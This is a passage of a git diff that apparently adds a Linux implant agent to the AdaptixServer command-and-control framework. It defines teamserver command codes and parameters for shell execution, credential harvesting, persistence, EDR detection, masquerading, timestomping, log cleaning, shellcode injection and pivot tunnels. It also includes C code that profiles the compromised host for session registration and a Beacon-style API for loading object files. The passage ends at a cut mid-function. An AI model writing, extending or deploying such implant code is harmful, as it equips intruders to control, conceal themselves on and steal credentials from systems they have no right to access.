`msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelWrite struct { + ChannelId int `msgpack:"channel_id"` + Data []byte `msgpack:"data"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +// Tunnel MUX responses (agent → teamserver) +type AnsTunnelStatus struct { + ChannelId int `msgpack:"channel_id"` + Success bool `msgpack:"success"` + Reason int `msgpack:"reason"` +} + +type AnsTunnelData struct { + ChannelId int `msgpack:"channel_id"` + Data []byte `msgpack:"data"` +} + +type AnsTunnelClose struct { + ChannelId int `msgpack:"channel_id"` + Reason int `msgpack:"reason"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +// Linux-specific command params +type ParamsCreds struct { + Type string `msgpack:"type"` +} + +type ParamsPersist struct { + Action string `msgpack:"action"` + Cmd string `msgpack:"cmd"` + Schedule string `msgpack:"schedule"` + Name string `msgpack:"name"` + Path string `msgpack:"path"` + Type string `msgpack:"type"` +} + +type ParamsContainer struct { + Action string `msgpack:"action"` +} + +// OPSEC command params +type ParamsMasquerade struct { + Name string `msgpack:"name"` +} + +type ParamsTimestomp struct { + Path string `msgpack:"path"` + Timestamp uint64 `msgpack:"timestamp"` +} + +type ParamsInject struct { + Pid int `msgpack:"pid"` + Shellcode []byte `msgpack:"shellcode"` +} + +// Pivot command params/responses +type ParamsLink struct { + Address string `msgpack:"address"` + Port int `msgpack:"port"` +} + +type AnsLink struct { + Type int `msgpack:"type"` + Watermark uint32 `msgpack:"watermark"` + Beat []byte `msgpack:"beat"` + Error string `msgpack:"error"` +} + +type ParamsUnlink struct { + PivotId uint32 `msgpack:"pivot_id"` +} + +type AnsUnlink struct { + PivotId uint32 `msgpack:"pivot_id"` + Type int `msgpack:"type"` +} + +type ParamsPivotExec struct { + PivotId uint32 `msgpack:"pivot_id"` + Data []byte `msgpack:"data"` +} + +type AnsPivotExec struct { + PivotId uint32 `msgpack:"pivot_id"` + Data []byte `msgpack:"data"` +} + +// BOF command params/responses +type ParamsBof struct { + Content []byte `msgpack:"content"` + Args []byte `msgpack:"args"` + EntryFunc string `msgpack:"entry_func"` +} + +type AnsBofOutput struct { + Type int `msgpack:"type"` + Output string `msgpack:"output"` +} + +/// Command codes — must match agent-side defines in types.h + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // Linux-specific commands (slots 20-30) + COMMAND_GETUID = 20 + COMMAND_ENV = 21 + COMMAND_NETSTAT = 22 + COMMAND_MOUNTS = 23 + COMMAND_EDR = 24 + COMMAND_CREDS = 25 + COMMAND_PERSIST = 26 + COMMAND_CONTAINER = 27 + + // OPSEC commands + COMMAND_MASQUERADE = 28 + COMMAND_TIMESTOMP = 29 + COMMAND_CLEANLOG = 30 + COMMAND_INJECT = 37 + COMMAND_MIGRATE = 38 + + // Pivot commands + COMMAND_PIVOT_EXEC = 39 + COMMAND_LINK = 40 + COMMAND_UNLINK = 41 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 + + // Tunnel MUX commands (data flows in main channel, not separate connection) + COMMAND_TUNNEL_WRITE = 42 + COMMAND_TUNNEL_STATUS = 43 + COMMAND_TUNNEL_DATA = 44 + COMMAND_TUNNEL_CLOSE = 45 + + // BOF commands + COMMAND_EXEC_BOF = 50 + COMMAND_EXEC_BOF_OUT = 51 + COMMAND_EXEC_BOF_ASYNC = 52 + + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_OUTPUT_UTF8 = 0x20 + CALLBACK_ERROR = 0x0d + + // BOF error codes + BOF_ERROR_PARSE = 0x101 + BOF_ERROR_SYMBOL = 0x102 + BOF_ERROR_ENTRY = 0x104 + BOF_ERROR_ALLOC = 0x105 + BOF_ERROR_RELOC = 0x106 +) + +/// Utility functions + +func parseDurationToSeconds(input string) (int, error) { + re := regexp.MustCompile(`(\d+)(h|m|s)`) + matches := re.FindAllStringSubmatch(input, -1) + + if matches == nil { + input = input + "s" + matches = re.FindAllStringSubmatch(input, -1) + } + + totalSeconds := 0 + for _, match := range matches { + value, err := strconv.Atoi(match[1]) + if err != nil { + return 0, err + } + + switch match[2] { + case "h": + totalSeconds += value * 3600 + case "m": + totalSeconds += value * 60 + case "s": + totalSeconds += value + } + } + + return totalSeconds, nil +} + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func SizeBytesToFormat(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + GB = MB * 1024 + ) + + size := float64(bytes) + + if size >= GB { + return fmt.Sprintf("%.2f Gb", size/GB) + } else if size >= MB { + return fmt.Sprintf("%.2f Mb", size/MB) + } + return fmt.Sprintf("%.2f Kb", size/KB) +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c new file mode 100644 index 000000000..96c2c2a63 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c @@ -0,0 +1,237 @@ +#include "agent_info.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Read a file into buf via direct syscalls, null-terminate +static int read_file(const char* path, char* buf, int buf_size) { + int fd = sys_open(path, 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + long n = sys_read(fd, buf, buf_size - 1); + sys_close(fd); + if (n <= 0) return -1; + buf[n] = '\0'; + // Strip trailing newline + if (n > 0 && buf[n-1] == '\n') buf[n-1] = '\0'; + return 0; +} + +int agent_info_hostname(char* buf, int len) { + if (read_file("/proc/sys/kernel/hostname", buf, len) == 0) + return 0; + ax_strncpy(buf, "unknown", len - 1); + return 0; +} + +int agent_info_username(char* buf, int len) { + // Read /etc/passwd, find line matching our UID + int uid = sys_getuid(); + + char passwd[4096]; + int fd = sys_open("/etc/passwd", 0, 0); + if (fd < 0) { + ax_strncpy(buf, "unknown", len - 1); + return 0; + } + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) { + ax_strncpy(buf, "unknown", len - 1); + return 0; + } + passwd[n] = '\0'; + + // Parse each line: username:x:uid:gid:... + char* line = passwd; + while (*line) { + char* username_start = line; + char* colon1 = (char*)0; + char* colon2 = (char*)0; + char* colon3 = (char*)0; + char* p = line; + int colons = 0; + + while (*p && *p != '\n') { + if (*p == ':') { + colons++; + if (colons == 1) colon1 = p; + else if (colons == 2) colon2 = p; + else if (colons == 3) colon3 = p; + } + p++; + } + + if (colon2 && colon3) { + // Parse UID between colon2+1 and colon3 + int parsed_uid = 0; + char* u = colon2 + 1; + while (u < colon3 && *u >= '0' && *u <= '9') { + parsed_uid = parsed_uid * 10 + (*u - '0'); + u++; + } + + if (parsed_uid == uid && colon1) { + int ulen = (int)(colon1 - username_start); + if (ulen >= len) ulen = len - 1; + ax_memcpy(buf, username_start, ulen); + buf[ulen] = '\0'; + return 0; + } + } + + // Advance to next line + if (*p == '\n') p++; + line = p; + } + + ax_strncpy(buf, "unknown", len - 1); + return 0; +} + +int agent_info_ipaddr(char* buf, int len) { + // Read /proc/net/fib_trie or parse /proc/net/if_inet6 is complex + // Simpler: read from /proc/net/tcp or use ioctl — but for Phase 1, + // just read /proc/net/route to find default gateway interface, then + // read that interface's addr. Simplest: read /proc/self/net/fib_trie. + // + // For now, parse first non-loopback from /proc/net/fib_trie + // Format of interesting lines: " |-- X.X.X.X" followed by "/32 host LOCAL" + buf[0] = '\0'; + + char fib[8192]; + int fd = sys_open("/proc/net/fib_trie", 0, 0); + if (fd < 0) return 0; + + long total = 0; + long n; + while (total < (long)sizeof(fib) - 1) { + n = sys_read(fd, fib + total, sizeof(fib) - 1 - total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + if (total <= 0) return 0; + fib[total] = '\0'; + + // Find LOCAL addresses that aren't 127.x.x.x + char* p = fib; + while (*p) { + // Look for "|-- " pattern + if (p[0] == '|' && p[1] == '-' && p[2] == '-' && p[3] == ' ') { + char* ip_start = p + 4; + // Read until newline + char* ip_end = ip_start; + while (*ip_end && *ip_end != '\n') ip_end++; + + int ip_len = (int)(ip_end - ip_start); + // Check if this is followed by a LOCAL line + char* next = ip_end; + if (*next == '\n') next++; + // Look for "LOCAL" in the next few lines + int found_local = 0; + for (int lines = 0; lines < 3 && *next; lines++) { + if (ax_strstr(next, "LOCAL")) { + found_local = 1; + break; + } + while (*next && *next != '\n') next++; + if (*next == '\n') next++; + } + + if (found_local && ip_len > 0 && ip_len < len) { + // Skip 127.x.x.x + if (!(ip_start[0] == '1' && ip_start[1] == '2' && ip_start[2] == '7' && ip_start[3] == '.')) { + ax_memcpy(buf, ip_start, ip_len); + buf[ip_len] = '\0'; + return 0; + } + } + } + p++; + } + + return 0; +} + +int agent_info_osversion(char* buf, int len) { + // Try /etc/os-release first + char osrel[2048]; + if (read_file("/etc/os-release", osrel, sizeof(osrel)) == 0) { + // Look for PRETTY_NAME="..." + char* key = ax_strstr(osrel, "PRETTY_NAME="); + if (key) { + key += 12; // skip "PRETTY_NAME=" + if (*key == '"') key++; + char* end = key; + while (*end && *end != '"' && *end != '\n') end++; + int vlen = (int)(end - key); + if (vlen >= len) vlen = len - 1; + ax_memcpy(buf, key, vlen); + buf[vlen] = '\0'; + return 0; + } + } + + // Fallback: /proc/version + if (read_file("/proc/version", buf, len) == 0) + return 0; + + ax_strncpy(buf, "Linux", len - 1); + return 0; +} + +// Get process name from /proc/self/comm +static void get_process_name(char* buf, int len) { + if (read_file("/proc/self/comm", buf, len) == 0) + return; + ax_strncpy(buf, "unknown", len - 1); +} + +int create_session_info(mp_writer_t* w, uint8_t* session_key) { + // Generate random session key (16 bytes for AES-128) + if (ax_random_bytes(session_key, 16) != 0) return -1; + + char hostname[256] = {0}; + agent_info_hostname(hostname, sizeof(hostname)); + + char username[256] = {0}; + agent_info_username(username, sizeof(username)); + + char process[256] = {0}; + get_process_name(process, sizeof(process)); + + char ip[64] = {0}; + agent_info_ipaddr(ip, sizeof(ip)); + + char os_version[256] = {0}; + agent_info_osversion(os_version, sizeof(os_version)); + + int pid = sys_getpid(); + int elevated = (sys_geteuid() == 0) ? 1 : 0; + + // Write SessionInfo as msgpack map + // vmihailenco/msgpack v5 serializes in DECLARATION order + // Go struct: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key + mp_write_map(w, 11); + + mp_write_kv_str(w, "process", process); + mp_write_kv_int(w, "pid", pid); + mp_write_kv_str(w, "user", username); + mp_write_kv_str(w, "host", hostname); + mp_write_kv_str(w, "ipaddr", ip); + mp_write_kv_bool(w, "elevated", elevated); + mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page + mp_write_kv_uint(w, "oem", 65001); + mp_write_kv_str(w, "os", "linux"); + mp_write_kv_str(w, "os_version", os_version); + mp_write_kv_bin(w, "encrypt_key", session_key, 16); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h new file mode 100644 index 000000000..ab771719f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h @@ -0,0 +1,25 @@ +#ifndef AGENT_INFO_H +#define AGENT_INFO_H + +#include "msgpack.h" +#include + +/// System info collection for session registration. +/// Individual getters fill a caller-provided buffer, return 0 on success. +/// create_session_info() builds the full SessionInfo msgpack payload. + +int agent_info_hostname(char *buf, int len); +int agent_info_username(char *buf, int len); +int agent_info_ipaddr(char *buf, int len); +int agent_info_osversion(char *buf, int len); + +/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct. +/// Also generates a random 16-byte session encryption key. +/// +/// msgpack keys (declaration order, matching Go vmihailenco/msgpack): +/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user +/// +/// Returns 0 on success, fills session_key (16 bytes). +int create_session_info(mp_writer_t *w, uint8_t *session_key); + +#endif /* AGENT_INFO_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c new file mode 100644 index 000000000..7ab16215b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c @@ -0,0 +1,262 @@ +/// ax_vsnprintf.c — Minimal vsnprintf for nostdlib environment +/// Supports: %s %d %i %u %x %X %p %c %% %ld %lu %lx %lX +/// Supports: width, zero-padding, left-align (-) +/// No float support (not needed for BOFs) + +#include "crt.h" +#include + +/// Write a single character to buffer (with bounds check) +static inline int out_char(char *buf, size_t pos, size_t size, char c) { + if (pos < size - 1) + buf[pos] = c; + return 1; +} + +/// Write a string to buffer +static int out_str(char *buf, size_t pos, size_t size, const char *s, int width, int left_align) { + int written = 0; + int slen = 0; + const char *p = s; + + if (!s) s = "(null)"; + p = s; + while (*p) { slen++; p++; } + + int pad = (width > slen) ? width - slen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + for (int i = 0; i < slen; i++) + written += out_char(buf, pos + written, size, s[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; +} + +/// Write an unsigned integer (base 10 or 16) +static int out_uint(char *buf, size_t pos, size_t size, + unsigned long long val, int base, int upper, + int width, char pad_char, int left_align) { + char tmp[24]; // enough for 64-bit + int idx = 0; + int written = 0; + + if (val == 0) { + tmp[idx++] = '0'; + } else { + while (val > 0) { + int d = val % base; + if (d < 10) + tmp[idx++] = '0' + d; + else + tmp[idx++] = (upper ? 'A' : 'a') + d - 10; + val /= base; + } + } + + int numlen = idx; + int pad = (width > numlen) ? width - numlen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, pad_char); + } + // digits in reverse + for (int i = idx - 1; i >= 0; i--) + written += out_char(buf, pos + written, size, tmp[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; +} + +/// Write a signed integer +static int out_int(char *buf, size_t pos, size_t size, + long long val, int width, char pad_char, int left_align) { + int written = 0; + int negative = 0; + + if (val < 0) { + negative = 1; + val = -val; + if (pad_char == '0' && !left_align) { + written += out_char(buf, pos + written, size, '-'); + width--; // sign takes one slot + } + } + + if (negative && pad_char != '0') { + // Count digits to determine padding + char tmp[24]; + int idx = 0; + long long v = val; + if (v == 0) { tmp[idx++] = '0'; } + else { while (v > 0) { tmp[idx++] = '0' + (v % 10); v /= 10; } } + int numlen = idx + 1; // +1 for sign + int pad = (width > numlen) ? width - numlen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + written += out_char(buf, pos + written, size, '-'); + for (int i = idx - 1; i >= 0; i--) + written += out_char(buf, pos + written, size, tmp[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; + } + + if (negative && pad_char == '0') { + // sign already written above + written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align); + } else { + written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align); + } + return written; +} + +int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap) { + size_t pos = 0; + + if (!buf || size == 0) + return 0; + + while (*fmt) { + if (*fmt != '%') { + pos += out_char(buf, pos, size, *fmt); + fmt++; + continue; + } + + fmt++; // skip '%' + + // Parse flags + int left_align = 0; + char pad_char = ' '; + + while (*fmt == '-' || *fmt == '0') { + if (*fmt == '-') left_align = 1; + if (*fmt == '0' && !left_align) pad_char = '0'; + fmt++; + } + + // Parse width + int width = 0; + while (*fmt >= '0' && *fmt <= '9') { + width = width * 10 + (*fmt - '0'); + fmt++; + } + + // Parse length modifier + int is_long = 0; + if (*fmt == 'l') { + is_long = 1; + fmt++; + if (*fmt == 'l') { + is_long = 2; + fmt++; + } + } + + // Parse conversion + switch (*fmt) { + case 'd': + case 'i': { + long long val; + if (is_long >= 2) + val = va_arg(ap, long long); + else if (is_long == 1) + val = va_arg(ap, long); + else + val = va_arg(ap, int); + pos += out_int(buf, pos, size, val, width, pad_char, left_align); + break; + } + case 'u': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 10, 0, width, pad_char, left_align); + break; + } + case 'x': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 16, 0, width, pad_char, left_align); + break; + } + case 'X': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 16, 1, width, pad_char, left_align); + break; + } + case 'p': { + unsigned long long val = (unsigned long long)(uintptr_t)va_arg(ap, void *); + pos += out_char(buf, pos, size, '0'); + pos += out_char(buf, pos, size, 'x'); + pos += out_uint(buf, pos, size, val, 16, 0, 0, '0', 0); + break; + } + case 's': { + const char *s = va_arg(ap, const char *); + pos += out_str(buf, pos, size, s, width, left_align); + break; + } + case 'c': { + char c = (char)va_arg(ap, int); + pos += out_char(buf, pos, size, c); + break; + } + case '%': + pos += out_char(buf, pos, size, '%'); + break; + default: + // Unknown format — output as-is + pos += out_char(buf, pos, size, '%'); + pos += out_char(buf, pos, size, *fmt); + break; + } + + fmt++; + } + + // Null-terminate + if (pos < size) + buf[pos] = '\0'; + else if (size > 0) + buf[size - 1] = '\0'; + + return (int)pos; +} + +int ax_snprintf(char *buf, size_t size, const char *fmt, ...) { + va_list ap; + va_start(ap, fmt); + int ret = ax_vsnprintf(buf, size, fmt, ap); + va_end(ap); + return ret; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c new file mode 100644 index 000000000..c9719c61b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c @@ -0,0 +1,611 @@ +/// bof_api.c — Linux Beacon API implementation for BOF execution +/// Port of beacon_functions.cpp (Windows) to Linux C with nostdlib + +#include "bof_api.h" +#include "crt.h" +#include "types.h" +#include "msgpack.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Global state — set by elf_bof.c before calling BOF entry point +/// ──────────────────────────────────────────────────────────────────────────── + +/// Output accumulator buffer +static buffer_t bof_output_buf; +static int bof_output_initialized = 0; +static int bof_output_error_type = 0; // 0 = no error, >0 = error code + +void bof_output_init(void) { + if (!bof_output_initialized) { + buf_init(&bof_output_buf, 4096); + bof_output_initialized = 1; + } else { + buf_reset(&bof_output_buf); + } + bof_output_error_type = 0; +} + +void bof_output_cleanup(void) { + if (bof_output_initialized) { + buf_free(&bof_output_buf); + bof_output_initialized = 0; + } +} + +/// Get accumulated output (null-terminated) +const char *bof_output_get(int *out_len) { + if (!bof_output_initialized || bof_output_buf.len == 0) { + if (out_len) *out_len = 0; + return ""; + } + // Ensure null termination + char zero = '\0'; + buf_append(&bof_output_buf, &zero, 1); + bof_output_buf.len--; // don't count the null in length + if (out_len) *out_len = bof_output_buf.len; + return (const char *)bof_output_buf.data; +} + +int bof_output_get_error(void) { + return bof_output_error_type; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Endianness swap (for BeaconFormatInt — big-endian encoding) +/// ──────────────────────────────────────────────────────────────────────────── + +static unsigned int swap_endianness(unsigned int indata) { + unsigned int testint = 0xaabbccdd; + unsigned int outint = indata; + if (((unsigned char *)&testint)[0] == 0xdd) { + ((unsigned char *)&outint)[0] = ((unsigned char *)&indata)[3]; + ((unsigned char *)&outint)[1] = ((unsigned char *)&indata)[2]; + ((unsigned char *)&outint)[2] = ((unsigned char *)&indata)[1]; + ((unsigned char *)&outint)[3] = ((unsigned char *)&indata)[0]; + } + return outint; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Data Parser API (CS-compatible) +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconDataParse(datap *parser, char *buffer, int size) { + if (!parser || !buffer) + return; + parser->original = buffer; + parser->buffer = buffer + 4; + parser->length = size - 4; + parser->size = size - 4; +} + +int BeaconDataInt(datap *parser) { + if (!parser || parser->length < 4) + return 0; + int val = 0; + ax_memcpy(&val, parser->buffer, 4); + parser->buffer += 4; + parser->length -= 4; + return val; +} + +short BeaconDataShort(datap *parser) { + if (!parser || parser->length < 2) + return 0; + short val = 0; + ax_memcpy(&val, parser->buffer, 2); + parser->buffer += 2; + parser->length -= 2; + return val; +} + +int BeaconDataLength(datap *parser) { + if (!parser) + return 0; + return parser->length; +} + +char *BeaconDataExtract(datap *parser, int *size) { + if (!parser || parser->length < 4) + return (char *)0; + + unsigned int length = 0; + ax_memcpy(&length, parser->buffer, 4); + parser->length -= 4; + parser->buffer += 4; + + char *outdata = parser->buffer; + + parser->length -= length; + parser->buffer += length; + + if (size) + *size = length; + return outdata; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Output API +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconOutput(int type, const char *data, int len) { + if (!data || !bof_output_initialized) + return; + + if (type == CALLBACK_ERROR) { + bof_output_error_type = CALLBACK_ERROR; + } + + if (len > 0) { + buf_append(&bof_output_buf, data, len); + } else { + // If len == 0, treat data as null-terminated string + int slen = (int)ax_strlen(data); + buf_append(&bof_output_buf, data, slen); + } +} + +void BeaconPrintf(int type, const char *fmt, ...) { + if (!fmt || !bof_output_initialized) + return; + + if (type == CALLBACK_ERROR) { + bof_output_error_type = CALLBACK_ERROR; + } + + // First pass: compute needed length + va_list args; + va_start(args, fmt); + int needed = ax_vsnprintf((char *)0, 0, fmt, args); + va_end(args); + + if (needed <= 0) + return; + + // Allocate temporary buffer + char *tmp = (char *)ax_malloc(needed + 1); + if (!tmp) + return; + + va_start(args, fmt); + ax_vsnprintf(tmp, needed + 1, fmt, args); + va_end(args); + + buf_append(&bof_output_buf, tmp, needed); + ax_free(tmp); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Format API +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconFormatAlloc(formatp *format, int maxsz) { + if (!format) + return; + format->original = (char *)ax_malloc(maxsz); + format->buffer = format->original; + format->length = 0; + format->size = maxsz; +} + +void BeaconFormatReset(formatp *format) { + if (!format || !format->original) + return; + ax_memset(format->original, 0, format->size); + format->buffer = format->original; + format->length = 0; +} + +void BeaconFormatAppend(formatp *format, const char *text, int len) { + if (!format || !text) + return; + if (format->length + len > format->size) + return; + ax_memcpy(format->buffer, text, len); + format->buffer += len; + format->length += len; +} + +void BeaconFormatPrintf(formatp *format, const char *fmt, ...) { + if (!format || !fmt) + return; + + va_list args; + va_start(args, fmt); + int remaining = format->size - format->length; + if (remaining <= 0) { + va_end(args); + return; + } + int written = ax_vsnprintf(format->buffer, remaining, fmt, args); + va_end(args); + + if (written > 0) { + format->length += written; + format->buffer += written; + } +} + +char *BeaconFormatToString(formatp *format, int *size) { + if (!format) + return (char *)0; + if (size) + *size = format->length; + return format->original; +} + +void BeaconFormatFree(formatp *format) { + if (!format) + return; + if (format->original) { + ax_memset(format->original, 0, format->size); + ax_free(format->original); + } + format->original = (char *)0; + format->buffer = (char *)0; + format->length = 0; + format->size = 0; +} + +void BeaconFormatInt(formatp *format, int value) { + if (!format) + return; + if (format->length + 4 > format->size) + return; + unsigned int outdata = swap_endianness((unsigned int)value); + ax_memcpy(format->buffer, &outdata, 4); + format->length += 4; + format->buffer += 4; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Utility APIs +/// ──────────────────────────────────────────────────────────────────────────── + +int BeaconIsAdmin(void) { + return (sys_geteuid() == 0) ? 1 : 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Async BOF context — set by elf_bof.c before calling BOF entry in async thread +/// ──────────────────────────────────────────────────────────────────────────── + +/// Opaque pointer to async_bof_arg_t (from elf_bof.c) +/// Set to non-NULL only during async BOF execution, checked by BOF APIs. +/// Thread safety: only one async BOF calls elf_bof_execute at a time per thread, +/// and the main thread's sync BOFs run serially, so no race on this pointer. +static volatile void *g_async_bof_ctx = (void *)0; +static volatile int g_async_bof_stop_fd = -1; // read-end of stop_pipe + +void bof_set_async_ctx(void *ctx, int stop_fd) { + g_async_bof_ctx = ctx; + g_async_bof_stop_fd = stop_fd; +} + +void bof_clear_async_ctx(void) { + g_async_bof_ctx = (void *)0; + g_async_bof_stop_fd = -1; +} + +int bof_is_async(void) { + return g_async_bof_ctx != (void *)0; +} + +void BeaconWakeup(void) { + // No-op on Linux: async BOF has its own C2 connection, + // output is sent directly without needing to wake the main thread. +} + +int BeaconGetStopJobEvent(void) { + // Returns the read-end fd of the stop pipe. + // BOF can poll() this fd to check if kill was requested. + // Returns -1 if not in an async BOF context. + return (int)g_async_bof_stop_fd; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Adaptix extensions +/// ──────────────────────────────────────────────────────────────────────────── + +void AxDownloadMemory(char *filename, char *data, int len) { + // For now, encode as text output (full implementation would use TsDownloadSave) + if (!bof_output_initialized) + return; + + char header[256]; + ax_snprintf(header, sizeof(header), "[download] %s (%d bytes)\n", filename ? filename : "unknown", len); + int hlen = (int)ax_strlen(header); + buf_append(&bof_output_buf, header, hlen); + + // TODO: implement proper file download via separate channel when needed +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Linux system primitives — exposed to BOFs via symbol table +/// ──────────────────────────────────────────────────────────────────────────── + +// File I/O wrappers +int AxOpenFile(const char *path, int flags, int mode) { + if (!path) return -1; + return sys_open(path, flags, mode); +} + +int AxCloseFile(int fd) { + if (fd < 0) return -1; + return sys_close(fd); +} + +int AxReadFile(int fd, void *buf, int count) { + if (fd < 0 || !buf || count <= 0) return -1; + return (int)sys_read(fd, buf, (size_t)count); +} + +// Convenience: read entire file into malloc'd buffer +int AxReadFileToBuffer(const char *path, char **out_buf, int max_size) { + if (!path || !out_buf) return -1; + if (max_size <= 0) max_size = 1048576; // 1 MB default + + int fd = sys_open(path, 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + + char *buf = (char *)ax_malloc(max_size + 1); + if (!buf) { + sys_close(fd); + return -1; + } + + int total = 0; + while (total < max_size) { + int n = (int)sys_read(fd, buf + total, max_size - total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + + buf[total] = '\0'; + *out_buf = buf; + return total; +} + +// File stat wrapper +int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, + unsigned int *out_uid, unsigned int *out_gid) { + if (!path) return -1; + struct linux_stat st; + int ret = sys_stat(path, &st); + if (ret != 0) return -1; + if (out_mode) *out_mode = st.st_mode; + if (out_size) *out_size = st.st_size; + if 